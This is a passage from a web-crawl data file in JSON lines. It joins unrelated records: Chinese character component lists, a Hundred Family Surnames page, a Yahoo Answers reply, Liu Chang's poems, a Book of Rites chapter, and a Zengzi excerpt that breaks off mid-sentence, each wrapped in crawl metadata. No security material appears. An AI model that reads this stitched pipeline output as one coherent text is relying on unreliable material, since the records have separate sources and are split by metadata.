兪 贲 邦 票 食 童 唐 竟 耑 卅 侯 兴 骨 兹 肉 罗 留 具 章 急 或 宓 汤 雚 復 玉 乌 府 焦 卪 佰 朋 利 呆 朝 属 祭 曾 冏 亇 切 串 约 路 宛 家 息 师 那 思 宣 毌 忝 若 吴 歺 我 以 冄 矣 瓜 敕 责 劳 刃 太 陏 尊 夗 亨 巩 畀 吏 隐 畕 巿 总 庄 却 匈 痂 甹 委 嵒 尓 间 肋 为 耤 靑 羔 竹 敏 会 囱 呈 充 希 盍 夃 炭 珀 凧 彔 黾 匝 快 叕 彖 詹 宿 君 坴 圤 要 夷 贰 道 活 段 契 连 名 金 釒 啚 庶 首 乡 丙 狂 孙 术 书 咠 朵 著 崩 沓 戉 击 夅 武 猋 丐 华 南 齿 麦 髟 聚 蚤 史 爻 飞 客 完 产 彦 便 匊 革 面 务 遂 益 迶 吂 皃 弍 洛 疏 戍 畜 氶 丞 烝 冡 死 匍 囷 溥 犾 存 汒 氾 舛 卌 舞 彭 堂 退 谒 臧 豸 宅 遣 普 翏 射 迷 胃 皆 宜 門 巫 旬 戕 式 斥 库 壮 伏 血 春 累 它 爿 贞 叀 茲 叩 秋 向 左 贯 征 叁 店 艾 彗 县 攸 如 圣 盾 卸 歨 乎 孔 景 曳 欣 疌 岛 肙 圼 旱 困 爭 穵 宁 康 犮 圡 叧 夏 冝 刁 赖 下 董 感 肯 阿 屈 野 匀 刑 保 朔 屰 屮 苋 妟 啬 虚 黒 疾 夲 卉 昏 波 宩 卷 爵 虽 舍 拉 肃 畏 弁 剌 郭 郞 坐 桑 厈 索 海 冒 吊 恩 欶 巛 觜 厓 疐 受 妾 孟 定 眇 斿 巷 昷 査 度 洰 参 肴 函 显 夜 刷 张 闰 顷 农 州 亭 写 弯 巻 亏 兰 然 享 孰 能 昭 皇 考 乐 贱 频 替 寅 宾 虑 带 衮 到 容 奚 冗 尝 厉 率 攴 尙 孝 赞 樊 另 斯 散 掌 罢 凹 聂 隽 般 阁 乘 屋 臿 奏 柔 郑 旉 凸 毋 冉 豙 诸 哥 老 黄 窄 貝 刅 杲 兔 对 氿 妻 爱 知 昍 疑 析 ㇉\nMy email is email@example.com","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/how-do-i-find-a-chinese-character.com\/chinese.php","date":"2021-01-16T08:30:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703505861.1\/warc\/CC-MAIN-20210116074510-20210116104510-00573.warc.gz","language":"lzh","language_score":0.5837830901,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5837830901145935, \"cmn_Hani_score\": 0.4004679322242737, \"nan_Hani_score\": 0.015171496197581291}","num_words":979,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.486,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"- 百家姓:百家姓_百家姓全文_百家姓大全\n《百家姓》是一本关于中文姓氏的书,成书于北宋初。原收集姓氏411个,后增补到504个,其中单姓444个,复姓60个。\n《百家姓》的次序不是按姓氏人口实际排列。\"赵钱孙李\"成为《百家姓》前四姓是因为百家姓形成于宋朝的吴越塘地区,故而宋朝皇帝的赵氏、吴越国国王钱氏、吴越国王钱俶正妃孙氏以及南唐国王李氏成为百家姓前四位。2009年,《百家姓》被中国世界纪录协会收录为中国最早的姓氏书。\n百家姓排名2021年排名\n王,李,张,刘,陈,杨,黄,吴,赵,周, 徐,孙,马,朱,胡,林,郭,何,高,罗, 郑,梁,谢,宋,唐,许,邓,冯,韩,曹, 曾,彭,萧,蔡,潘,田,董,袁,于,余, 叶,蒋,杜,苏,魏,程,吕,丁,沈,任, 姚,卢,傅,钟,姜,崔,谭,廖,范,汪, 陆,金,石,戴,贾,韦,夏,邱,方,侯, 邹,熊,孟,秦,白,江,阎,薛,尹,段, 雷,黎,史,龙,陶,贺,顾,毛,郝,龚, 邵,万,钱,严,赖,覃,洪,武,莫,孔。\n百家姓\n近期查询历史: 赵氏 陈氏 陈氏 湛氏 湛氏 沈氏 沈氏 杨氏 窦氏 何氏 何氏 施氏 张氏 曹氏 金氏 金氏 陶氏 瞿氏 瞿氏 瞿氏 瞿氏 瞿氏 瞿氏 瞿氏 瞿氏 李氏 周氏 吴氏 郑氏 戚氏 柏氏 章氏 苏氏 潘氏 葛氏 彭氏 彭氏 郎氏 鲁氏 韦氏 昌氏 苗氏 花氏 花氏 花氏 花氏 方氏 酆氏 史氏 唐氏 唐氏 廉氏 廉氏 岑氏 贺氏 倪氏 殷氏 殷氏 罗氏 毕氏 邬氏 邬氏 安氏 安氏 傅氏 齐氏 齐氏 卜氏 卜氏 孟氏 平氏 黄氏 穆氏 尹氏 尹氏 姚氏 姚氏 湛氏 汪氏 汪氏 汪氏 毛氏 毛氏 禹氏 禹氏 禹氏 狄氏 米氏 明氏 臧氏 计氏 成氏 戴氏 谈氏 宋氏 宋氏 茅氏 茅氏 茅氏 庞氏 纪氏 纪氏 舒氏 屈氏 项氏 祝氏 梁氏 阮氏 蓝氏 闵氏 季氏 季氏 季氏 麻氏 麻氏 麻氏 强氏 贾氏 贾氏 路氏 娄氏 娄氏 危氏 危氏 危氏 危氏 童氏 梅氏 梅氏 钟氏 丘氏 邱氏 邱氏 骆氏 骆氏 骆氏 骆氏 高氏 夏氏 蔡氏 田氏 田氏 胡氏 胡氏 万氏 支氏 柯氏 柯氏 昝氏 昝氏 卢氏 经氏 经氏 经氏 房氏 房氏 缪氏 解氏 应氏 应氏 丁氏 丁氏 宣氏 宣氏 邓氏 邓氏 邓氏 邓氏 杭氏 洪氏 洪氏 包氏 包氏 左氏 左氏 左氏 崔氏 吉氏 钮氏 钮氏 钮氏 程氏 嵇氏 邢氏 滑氏 滑氏 滑氏 陆氏 陆氏 荣氏 翁氏 羊氏 羊氏 羊氏 於氏 於氏 曲氏 封氏 羿氏 羿氏 羿氏 储氏 靳氏 糜氏 糜氏 井氏 段氏 段氏 富氏 巫氏 巫氏 焦氏 焦氏 弓氏 隗氏 隗氏 山氏 山氏 谷氏 谷氏 侯氏 侯氏 宓氏 蓬氏 郗氏 郗氏 班氏 班氏 仰氏 秋氏 秋氏 秋氏 秋氏 仲氏 伊氏 宫氏 宫氏 宁氏 宁氏 甘氏 钭氏 钭氏 钭氏 厉氏 戎氏 武氏 符氏 刘氏 龙氏 叶氏 幸氏 司氏 司氏 司氏 韶氏 郜氏 黎氏 印氏 白氏 白氏 蒲氏 台氏 台氏 从氏 鄂氏 咸氏 咸氏 咸氏 咸氏 赖氏 赖氏 卓氏 蔺氏 屠氏 池氏 乔氏 阴氏 郁氏 郁氏 胥氏 胥氏 苍氏 闻氏 莘氏 莘氏 党氏 党氏 贡氏 劳氏 姬氏 姬氏 申氏 扶氏 堵氏 堵氏 堵氏 冉氏 冉氏 雍氏 璩氏 桂氏 桂氏 濮氏 濮氏 牛氏 牛氏 牛氏 通氏 边氏 扈氏 尚氏 尚氏 尚氏 尚氏 农氏 农氏 温氏 温氏 别氏 庄氏 庄氏 晏氏 柴氏 柴氏 柴氏 瞿氏 充氏 宦氏 艾氏 艾氏 容氏 容氏 容氏 古氏 易氏 易氏 慎氏 戈氏 戈氏 戈氏 廖氏 终氏 暨氏 暨氏 衡氏 衡氏 衡氏 满氏 满氏 匡氏 广氏 东氏 东氏 欧氏 欧氏 殳氏 蔚氏 夔氏 隆氏 隆氏 隆氏 巩氏 晁氏 融氏 融氏 阚氏 饶氏 空氏 曾氏 曾氏 养氏 鞠氏 鞠氏 鞠氏 鞠氏 须氏 丰氏 丰氏 巢氏 巢氏 关氏 蒯氏 相氏 相氏 相氏 红氏 竺氏 逯氏 盖氏 盖氏 桓氏 桓氏 桓氏 司马氏 司马氏 上官氏 欧阳氏 欧阳氏 诸葛氏 诸葛氏 闻人氏 东方氏 公羊氏 澹台氏 澹台氏 澹台氏 公冶氏 宗政氏 濮阳氏 淳于氏 单于氏 单于氏 太叔氏 太叔氏 太叔氏 申屠氏 申屠氏 公孙氏 轩辕氏 令狐氏 令狐氏 钟离氏 长孙氏 长孙氏 长孙氏 长孙氏 长孙氏 长孙氏 司空氏 亓官氏 仉督氏 颛孙氏 巫马氏 漆雕氏 乐正氏 拓拔氏 夹谷氏 宰父氏 法氏 涂氏 涂氏 涂氏 钦氏 段干氏 段干氏 百里氏 东郭氏 东郭氏 呼延氏 呼延氏 羊舌氏 岳氏 亢氏 况氏 有氏 琴氏 左丘氏 左丘氏 西门氏 佘氏 佘氏 伯氏 赏氏 南宫氏 笪氏 笪氏 笪氏 笪氏 爱氏 佟氏 言氏 福氏 (每小时刷新)","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.ku51.net\/baijiaxing\/","date":"2023-05-31T18:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647409.17\/warc\/CC-MAIN-20230531182033-20230531212033-00603.warc.gz","language":"lzh","language_score":0.9724226594,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9724226593971252, \"cmn_Hani_score\": 0.011642073281109333}","num_words":489,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.332,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"このウェブサイトは西洋人向けに設計されており、HSK試験をカバーする漢字が含まれています。漢字のこれらの小さな部分から漢字を作ろう!これらの小さな要素をクリックするだけで漢字を作成できます。それはパズルのようなものです。\n画面上のこれらの小さな漢字部分をクリックします:\n一 丶 口 十 日 丷 又 木 丨 人 土 厂 亠 冖 扌 丿 八 儿 月 氵 大 亻 田 冂 目 ◫ 艹 宀 厶 贝 广 匕 囗 讠 兀 丆 乂 小 王 冫 心 夂 立 乚 纟 止 士 女 彐 弋 刂 山 丅 匚 巾 阝 丁 尸 亅 寸 中 几 勹 忄 力 戈 火 干 千 禾 亼 钅 左 コ 刀 了 车 夕 工 肀 斤 米 白 隹 攵 廿 艮 丂 万 水 子 方 文 彳 爫 石 习 页 弓 廾 灬 欠 虫 罒 疒 凵 丰 用 卄 皿 犭 礻 主 二 氺 古 巳 马 耳 犬 耂 六 彡 左 丬 辛 示 饣 羊 从 西 卩 手 乃 矢 者 牛 自 里 臼 尢 且 雨 吅 九 幺 豕 业 酉 勿 匸 殳 穴 皮 戊 兄 尤 卜 分 冋 糸 林 走 豆 午 衤 可 亡 舌 共 氏 肖 良 夫 天 见 父 合 壬 由 占 非 乀 甘 少 开 比 舟 各 己 羽 正 夭 不 缶 去 衣 朩 巴 束 戶 乙 〢 京 歹 乍 生 旦 昔 包 其 廴 旡 予 佥 未 龙 交 谷 也 匃 有 疋 夆 匂 尧 内 乜 半 虍 莫 支 毛 韦 亚 曷 至 圭 禸 免 元 冊 因 青 斗 长 户 丸 刍 付 尃 吕 甲 戸 云 勺 丘 加 上 亦 反 刖 兑 甬 聿 辟 覀 申 川 牙 咅 次 甫 亥 仓 母 允 句 言 畐 尚 多 取 头 尗 之 介 麻 余 而 气 鬼 牜 台 今 友 釆 高 只 此 五 扁 乛 召 寿 ス 巨 寺 身 旁 兼 央 訁 鸟 音 早 夬 并 癶 玄 喿 敝 风 卑 平 咸 禺 夰 酋 夋 叟 登 真 果 亘 毎 必 卂 乔 监 才 出 世 娄 角 宗 北 两 曲 弚 亍 弔 兆 臽 匋 及 井 卬 军 曼 相 胡 厄 厃 化 是 入 公 匹 区 门 秀 关 冈 勾 周 采 光 辰 奇 明 难 叐 爰 百 贵 先 同 育 鱼 电 直 品 呙 厷 乇 逢 每 戋 耒 乏 某 卒 星 丑 末 布 吉 匡 灰 暴 市 凡 双 发 廷 隶 仌 敫 朱 帀 吾 並 重 尺 步 冎 单 舀 瓦 复 卓 凶 弟 炎 斩 失 巟 右 既 壴 片 专 ユ 昌 易 仑 齐 夹 告 令 曹 禹 七 义 黑 俞 回 镸 辡 买 丩 列 更 乞 足 屯 尔 办 司 甚 弗 本 氐 执 折 害 前 垂 襄 则 叔 争 孚 东 与 荅 叉 象 成 丈 冬 亢 员 彑 无 帝 奴 堇 爪 求 孛 兟 男 呆 敖 苟 冘 食 臣 色 叒 兪 巜 畺 原 宣 荒 亇 亲 新 尉 永 玨 利 负 異 敬 夸 民 帛 三 罙 昆 圥 空 危 奄 崔 叚 差 矛 戒 觉 苗 建 任 夌 朿 亶 当 府 旨 安 番 官 具 居 尹 责 录 卯 戎 奂 啇 奉 乑 于 若 朝 宓 肉 祭 玉 汆 桼 復 乌 票 朋 属 急 贲 耑 侯 歺 邦 骨 童 或 佰 留 家 师 卪 吴 离 兴 息 曾 兵 汤 竟 敕 瓜 唐 路 畀 雚 尊 陏 兹 卅 卖 巩 冄 那 我 约 太 夗 鬲 章 尼 忝 枼 串 宛 克 思 毌 切 刃 以 亨 代 矣 劳 冏 罗 焦 隐 畕 R 尓 肋 蚤 会 髟 丐 飞 希 呈 竹 圤 孟 囱 充 坴 华 詹 快 夃 彔 爻 史 円 匝 间 羔 嵒 珀 齿 耤 敏 炭 盍 痂 委 南 靑 聚 普 猋 连 旬 式 啚 釒 金 斥 库 壮 伏 名 契 首 血 春 段 累 活 击 丙 庶 道 它 沓 遣 豸 翏 皃 射 迷 武 吂 胃 戉 崩 狂 皆 宜 著 朵 咠 术 孙 門 巫 宅 夅 爿 客 庄 彭 堂 退 弍 面 贰 要 却 革 匊 便 舞 匈 巿 总 甹 君 宿 彦 彖 叕 黾 产 卌 戕 氶 臧 溥 谒 完 疏 迶 戍 益 遂 畜 丞 舛 烝 冡 死 匍 务 洛 犾 存 汒 氾 囷 妻 黒 疾 昏 波 夷 老 宩 卉 夲 虚 苋 啬 野 屮 屰 朔 保 刑 匀 卷 妟 厈 爵 卸 店 叀 县 攸 如 圣 盾 歨 厓 景 虽 弁 郭 郞 坐 冒 吊 巛 疐 征 尝 凸 疑 兔 冉 貝 诸 亭 另 顷 巻 到 贞 吏 凧 为 书 乡 凹 乘 觜 阿 欶 恩 海 索 桑 剌 畏 肃 拉 舍 肯 厉 艾 向 叩 乎 孔 下 刁 冝 夏 圡 叁 贯 然 农 洰 参 肴 定 函 夜 刷 张 闰 査 州 写 冗 亏 毋 豙 哥 黄 窄 刅 度 昷 对 寅 享 孰 能 昭 皇 考 兰 乐 频 替 宾 巷 虑 带 衮 容 奚 贱 显 弯 眇 斿 杲 氿 左 穵 受 欣 疌 岛 肙 圼 旱 困 爭 曳 妾 宁 犮 叧 赖 董 感 康 彗 茲 秋 屈 郑 斯 爱 知 昍 析 旉 攴 尙 孝 赞 樊 散 柔 掌 率 罢 聂 隽 般 阁 屋 臿 奏 ㇉\n私のメールは firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/how-do-i-find-a-chinese-character.com\/japanese.php","date":"2020-10-29T07:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107903419.77\/warc\/CC-MAIN-20201029065424-20201029095424-00341.warc.gz","language":"lzh","language_score":0.5501505136,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5501505136489868, \"cmn_Hani_score\": 0.4411456286907196}","num_words":974,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.469,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.574,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"如題麻煩知道的人可以熱心的告知喔謝謝^ ^ 感恩感恩\n史記田敬仲完世家\n襄 王 在 莒 五 年 , 田 單 以 传 墨 攻 破 燕 軍 , 迎 襄 王 於 莒 , 入 臨 菑 . 齊 故 地 盡 復 屬 齊 . 齊 封 田 單 為 安 平 君 。\n所以是田單。","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/tw.answers.yahoo.com\/question\/index?qid=20051129000014KK19400","date":"2020-09-20T06:08:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400193391.9\/warc\/CC-MAIN-20200920031425-20200920061425-00360.warc.gz","language":"lzh","language_score":0.7118262649,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7118262648582458, \"cmn_Hani_score\": 0.2794383764266968}","num_words":42,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.438,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"劉敞的詩文(718首)1\/29頁\n作者:\n李白 陸游 劉克莊 楊萬里 趙蕃 弘歷 蘇軾 梅堯臣 方回 白居易 王世貞 黃庭堅 陳造 范成大 張耒 屈大均 蘇轍 王安石 歐大任 胡應麟 佚名 項安世 邵雍 宋祁 司馬光 姚燮 陳著 方岳 曹勛 樓鑰 杜甫 魏了翁 吳芾 陳維崧 佚名 白玉蟾 王之道 韓淲 洪咨夔 歐陽修 張镃 程敏政 劉崧 周紫芝 程公許 戴復古 劉基 王十朋 曾豐 韓維 王炎 佚名 文天祥 鄧云霄 周必大 賀鑄 喻良能 李綱 文同 宋庠 馬鈺 晁說之 李曾伯 李東陽 胡奎 李彌遜 釋文珦 舒岳祥 強至 晁補之 高啟 釋印肅 陳普 辛棄疾 姜特立 楊維楨 李夢陽 王洋 齊己 陸文圭 劉禹錫 顧璘 岳珂 陳宓 楊慎 陳師道 韓元吉 劉敞 郭之奇 虞儔 朱熹 孫應時 楊士奇 袁宏道 仇遠 釋德洪 郭印 郭祥正 邵寶 王冕\n類型:\n哀愁 哀悼 哀歌 哀傷 哀思 哀嘆 哀痛 哀怨 愛國 愛民 愛慕 愛情 愛人 安慰 懊悔 白菊 百姓 傍晚 胞弟 抱負 杯古 悲愁 悲愴 悲憤 悲歌 悲觀 悲劇 悲苦 悲涼 悲切 悲秋 悲傷 悲嘆 悲痛 悲惋 悲壯 碑記 碑文 奔放 比喻 避諱 邊將 邊疆 邊塞 貶謫 變化 表演 別愁 別離 別情 不滿 不舍 才女 采蓮 殘春 策論 策略 茶葉 禪意 禪隱 猖狂 悵然 悵惘 唱歌 唱和 嘲諷 誠信 乘船 池塘 憧憬 惆悵 酬答 酬和 酬贈 愁病 愁恨 愁苦 愁悶 愁情 愁思 愁緒 愁怨 出游 出征 初夏 初中古詩 初中文言文 除夕 楚辭 觸景感懷 觸景傷情 觸景生情 傳記 傳說 船夫 垂釣 垂柳 春殘 春愁 春光 更多>>\n探花郎送花坐中與鄰幾戲作七首 其一\n兩郎探花如顧山,紅紫黃白俱可憐。春風過此即埽地,爾復碌碌慰眼前。\n探花郎送花坐中與鄰幾戲作七首 其三\n春服始成天氣新,沂水風起如魚鱗。由來舞詠吾與點,童子與公凡幾人。\n雷氏子推跡石鼓為隸古定圣俞作長詩敘之諸公繼作予亦繼其后\n結繩既亡書契出,文字變化尤倏忽。太山七十有二代,遺事昏昏萬無一。\n岐陽石鼓起晚周,宣王之詩史籀筆。天下金石凡幾存,此當為甲彼皆乙。\n體勢鳥跡雜蝌蚪,詞章車攻與吉日。六書既廢小雅缺,能使兼存此其實。\n韓公昔嘗歌感激,若弦周詩播琴瑟。雷生今復隸古定,如破魯璧傳簡帙。\n道之難行乃若茲,二千年間能事畢。先王親用必貴本,流俗玩文因喪質。\n此雖于今似不急,豈不班班見儒術。藏之天府自其所,大訓河圖亦何物。\n會稽群玉久冥寞,漆簡韋編尚彷佛。昔人雖死名不朽,智者能為巧當述。\n太學先生事起廢,誦此勤勤救埋沒。會令永與天壤傳,不比酒誥俄然失。\n題所種金鳳花自淮北攜子種之云\n愛此名字佳,攜之不憚遠。豈惟江淮闊,兼恐歲月晚。\n手植中庭地,分破紫蘭畹。綠葉紛映階,紅芳爛盈眼。\n輝輝丹穴禽,矯矯翅翎展。卑飛何在此,寂寞難自顯。\n按圖感形似,覽物意繾綣。三復接輿歌,悲風動湘沔。\n五言寄江丈鄰幾時往尉氏未還\n終日相與居,豈知相得歡。出門一分袂,乃覺攜手難。\n西風過浮云,急雨生早寒。清秋令人悲,茲游何當還。\n歲月游將晚,念君尚加餐。\n探花郎送花坐中與鄰幾戲作七首 其五\n溱洧芍藥堂背萱,濃紅柔綠相映繁。鄭衛之風久寂寞,坐無詩翁誰使言。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.theslashblog.com\/shici\/songdai\/liuchang\/","date":"2023-03-21T04:55:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943625.81\/warc\/CC-MAIN-20230321033306-20230321063306-00511.warc.gz","language":"lzh","language_score":0.4332944155,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.433294415473938, \"cmn_Hani_score\": 0.3140665590763092, \"nan_Hani_score\": 0.22404168546199799, \"yue_Hani_score\": 0.017293278127908707}","num_words":231,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"乡饮酒义 乡饮酒之义.主人拜迎宾于庠门之外.入三揖而后至阶.三让而后升.所以致 尊让也.盥洗扬觯.所以致絜也.拜至.拜洗.拜受.拜送.拜既.所以致敬也. 尊让絜敬也者.君子之所以相接也.君子尊让则不争.絜敬则不慢.不慢不争.则 远于斗辨矣.不斗辨则无暴乱之祸矣.斯君子所以免于人祸也.故圣人制之以道. 乡人.士君子.尊于房中之间.宾主共之也.尊有玄酒.贵其质也.羞出自东 房.主人共之也.洗当东荣.主人之所以自絜.而以事宾也. 宾主.象天地也.介僎.象阴阳也.三宾.象三光也.让之三也.象月之三日 而成魄也.四面之坐.象四时也.天地严凝之气.始于西南.而盛于西北.此天地 之尊严气也.此天地之义气也.天地温厚之气.始于东北.而盛于东南.此天地之 盛德气也.此天地之仁气也.主人者尊宾.故坐宾于西北.而坐介于西南.以辅宾 .宾者.接人以义者也.故坐于西北.主人者.接人以德厚者也.故坐于东南.而 坐僎于东北.以辅主人也.仁义接.宾主有事.俎豆有数.曰圣.圣立而将之以敬 .曰礼.礼以体长幼.曰德.德也者.得于身也.故曰.古之学术道者.将以得身 也.是故圣人务焉. 祭荐.祭酒.敬礼也.哜肺.尝礼也.啐酒.成礼也.于席末.言是席之正. 非专为饮食也.为行礼也.此所以贵礼而贱财也.卒觯致实于西阶上.言是席之上 .非专为饮食也.此先礼而后财之义也.先礼而后财.则民作敬让而不争矣. 乡饮酒之礼.六十者坐.五十者立侍.以听政役.所以明尊长也.六十者三豆 .七十者四豆.八十者五豆.九十者六豆.所以明养老也.民知尊长养老.而后乃 能入孝弟.民入孝弟.出尊长养老.而后成教.成教而后国可安也.君子之所谓孝 者.非家至而日见之也.合诸乡射.教之乡饮酒之礼.而孝弟之行立矣. 孔子曰.吾观于乡.而知王道之易易也. 主人亲速宾及介.而众宾自从之.至于门外.主人拜宾及介.而众宾自入.贵 贱之义别矣. 三揖至于阶.三让以宾升.拜至献酬辞让之节繁.及介.省矣.至于众宾.升 受.坐祭.立饮.不酢而降.隆杀之义别矣. 工入.升歌三终.主人献之.笙入三终.主人献之.间歌三终.合乐三终.工 告乐备.遂出.一人扬觯.乃立司正焉.知其能和乐而不流也. 宾酬主人.主人酬介.介酬众宾.少长以齿.终于沃洗者焉.知其能弟长而无 遗矣. 降说屦升坐.修爵无数.饮酒之节.朝不废朝.莫不废夕.宾出.主人拜送. 节文终遂焉.知其能安燕而不乱也. 贵贱明.隆杀辨.和乐而不流.弟长而无遗.安燕而不乱.此五行者.足以正 身安国矣.彼国安而天下安.故曰.吾观于乡.而知王道之易易也. 乡饮酒之义.立宾以象天.立主以象地.设介僎以象日月.立三宾以象三光. 古之制礼也.经之以天地.纪之以日月.参之以三光.政教之本也. 亨狗于东方.祖阳气之发于东方也.洗之在阼.其水在洗东.祖天地之左海也 .尊有玄酒.教民不忘本也. 宾必南乡.东方者春.春之为言蠢也.产万物者圣也.南方者夏.夏之为言假 也.养之长之假之.仁也.西方者秋.秋之为言愁也.愁之以时察.守义者也.北 方者冬.冬之为言中也.中者藏也.是以天子之立也.左圣.乡仁.右义.偝藏也 .介必东乡.介宾主也.主人必居东方.东方者春.春之为言蠢也.产万物者也. 主人者造之.产万物者也.月者三日则成魄.三月则成时.是以礼有三让.建国必 立三卿.三宾者.政教之本.礼之大参也.\n下一卷 回目录","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.shuku.net:8082\/novels\/classic\/qpuhbfzmpsl\/lij\/lij43.html","date":"2022-01-18T00:49:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300658.84\/warc\/CC-MAIN-20220118002226-20220118032226-00207.warc.gz","language":"lzh","language_score":0.3978696764,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39786967635154724, \"cmn_Hani_score\": 0.285700261592865, \"nan_Hani_score\": 0.07757174968719482, \"und_Tang_score\": 0.041867706924676895, \"wuu_Hani_score\": 0.0352470688521862, \"jpn_Jpan_score\": 0.022476525977253914, \"yue_Hani_score\": 0.013916333205997944, \"zxx_Latn_score\": 0.012403829954564571, \"und_Cyrl_score\": 0.012219524011015892}","num_words":47,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"曾 子 參\n群書治要卷三十五\n修 身\n曾子曰。君子攻其惡。求其過。强其所不能。去私欲。從事於義。可謂學矣。君子愛日以學。及時以行。難者弗避。易者弗從。唯義所在。日旦就業。夕而自省思。以没其身。亦可謂守業矣。君子學必由其業。問必以其序。問而不决。承間觀色而復之。君子既學之。患其不博也。既博之。患其不習也。既習之。患其不知也。既知之。患其不能行也。既能行之。患其不能以讓也。君子之學。致此五者而已矣。君子博學而淺(大戴禮淺作孱)守之。微言而篤行之。行欲先人。言欲後人。見利思辱。見難思詬。嗜欲思耻。忿怒思患。君子終身守此。戰戰也。君子己善。亦樂人之善也。己能。亦樂人之能也。君子好人之爲善而弗趍也。惡人之爲不善而弗疾也。不先人以惡。不疑人以不信。不説人之過。而成人之美。朝有過。夕改則與之。夕有過。朝改則與之。君子終日言。不在尤之中。小人一言。終身爲罪矣。君子之於不善也。身勿爲。可能也。色勿爲。不可能也。心勿爲。不可能也。太上樂善。其次安之。其下亦能自强也。太上不生惡。其次生而能夙絶之。其下復而能改。復而不改。隕身覆家。大者傾社稷。是故君子出言愕愕。行身戰戰。亦殆免於罪矣。昔者。天子日旦思其四海之内。戰戰唯恐不能乂也。諸侯日旦思其四封之内。戰戰唯恐失損之也。大夫日旦思其官。戰戰唯恐不能勝也。庶人日旦思其事。戰戰唯恐刑罰之至也。是故臨事而慄者。鮮不濟矣。\n立 孝\n曾子曰。君子立孝。其忠之用也。禮之貴也。故爲人子而不能孝其父者。不敢言人父不能畜其子者。爲人弟而不能承其兄者。不敢言人兄不能順其弟者。爲人臣而不能事其君者。不敢言人君不能使其臣者。故與父言。言畜子。與子言。言孝父。與兄言。言順弟。與弟言。言承兄。與君言。言使臣。與臣言。言事君。君子之孝也。忠愛以敬(敬上有莊字)反是亂也。盡力而有禮。敬而安之。微諫不倦。聽從不怠。歡欣忠信。咎故不生。可謂孝矣。盡力而無禮。則小人也。致敬而不忠。則不入也。是故禮以將其力。敬以入其忠。詩言。夙興夜寐。毋忝爾所生。不耻其親。君子之孝也。是故未有君而忠臣可知者。孝子之謂也。未有長而順下可知者。悌弟之謂也。未有治而能仕可知者。先修之謂也。故孝子善事君。悌弟善事長。君子壹孝壹悌。可謂知終矣。\n制 言\n曾子曰。夫行也者。行禮之謂也。夫禮。貴者敬焉。老者孝焉。幼者慈焉。小者友焉。賤者惠焉。此禮也。弟子毋曰。不我知也。鄙夫鄙婦。相會於墻陰。可謂密矣。明日則或揚其言者。故士執仁與義而不聞。行之未篤也。故蓬生麻中。不扶乃直。白沙在泥。與之皆黑。是故人之相與也。譬如舟車然。相濟達也。己先則援之。彼先則推之。是故人非人不濟。馬非馬不走。土非土不高。水非水不流。弟子問於曾子曰。夫士何如則可爲達矣。曾子曰。不能則學。疑則問。欲行則比賢。雖有險道修(修作循)行。達矣。今之弟子。病下人。不知事賢。耻不知而又不問。是以惑暗終其世而已矣。是謂窮民。\n疾 病\n曾子曰。君子之務蓋有矣。夫華繁而實寡者。天也。言多而行寡者。人也。鷹隼以山爲庳而巢其上。魚鱉黿鼉以川爲淺而窟穴其中。卒其所以得者。餌也。是故君子苟毋以利害義。則辱何由至哉。親戚不悦。不敢外交。近者不親。不敢來(來作求)遠。小者不審。不敢言大。故人之生也。百歲之中。有疾病焉。故君子思其不可復者而先施焉。\n親戚既没 。雖欲孝。誰爲孝乎。年既耆 艾。雖欲悌。誰爲悌乎。故孝有不及。悌有不時。其此之謂與。言不遠身 。言之主也。行不遠身。行之本也。言有主。行有本。謂之有聞 也。\n君子尊其所聞。則高明矣。行其所聞。則廣大矣。高明廣大。不在於他。加 (加上有在字)之志 而已矣。與君子游 。苾 乎如入蘭芷 之室。久而不聞。則與之化 矣。與小人游。膩 (膩作貸)乎如入魚次之室(魚次之室作鮑魚之次 )。久而不聞。則與之化矣。是故君子慎其所去就 。與君子游。如長日加益 。而不自知也。與小人游。如履薄冰 。每履而下 